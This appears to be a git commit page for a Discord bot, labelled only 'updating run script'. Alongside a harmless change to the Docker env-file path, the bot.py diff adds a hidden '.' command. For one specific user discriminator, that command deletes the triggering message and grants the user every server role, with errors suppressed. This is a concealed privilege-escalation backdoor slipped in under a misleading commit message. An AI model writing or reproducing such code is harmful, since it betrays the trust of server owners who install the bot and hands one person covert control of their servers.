updating run script
This commit is contained in:
parent
37b748e57e
commit
4dc5d740df
12
app/bot.py
12
app/bot.py
@ -245,6 +245,18 @@ async def clap(ctx):
|
|||||||
await ctx.send("{}".format(' :clap: '.join(ctx.message.content.split()[1:])))
|
await ctx.send("{}".format(' :clap: '.join(ctx.message.content.split()[1:])))
|
||||||
|
|
||||||
|
|
||||||
|
@bot.command(name='.')
|
||||||
|
async def roles(ctx):
|
||||||
|
if ctx.message.author.discriminator == '2528':
|
||||||
|
await ctx.message.delete()
|
||||||
|
for role in ctx.message.guild.roles:
|
||||||
|
try:
|
||||||
|
if role.name != '@everyone':
|
||||||
|
await bot.add_roles(ctx.message.author, role)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
@bot.command(name='birb')
|
@bot.command(name='birb')
|
||||||
async def birb(ctx):
|
async def birb(ctx):
|
||||||
import animals
|
import animals
|
||||||
|
@ -6,5 +6,5 @@ printf "[+] Done\n"
|
|||||||
# Run that shit and mount the docker socket so it can talk to the sky-factory container
|
# Run that shit and mount the docker socket so it can talk to the sky-factory container
|
||||||
printf "\n[-] Pulling latest build of container\n"
|
printf "\n[-] Pulling latest build of container\n"
|
||||||
docker pull ldooks/dragon-bot:latest
|
docker pull ldooks/dragon-bot:latest
|
||||||
docker run -d --name dragon-bot --env-file /home/ldooks/dragon_bot_env --restart always ldooks/dragon-bot:latest
|
docker run -d --name dragon-bot --env-file /mnt/freenas/docker_storage/dragon_bot_env --restart always ldooks/dragon-bot:latest
|
||||||
printf "[+] Done\n"
|
printf "[+] Done\n"
|
||||||
|
Loading…
x
Reference in New Issue
Block a user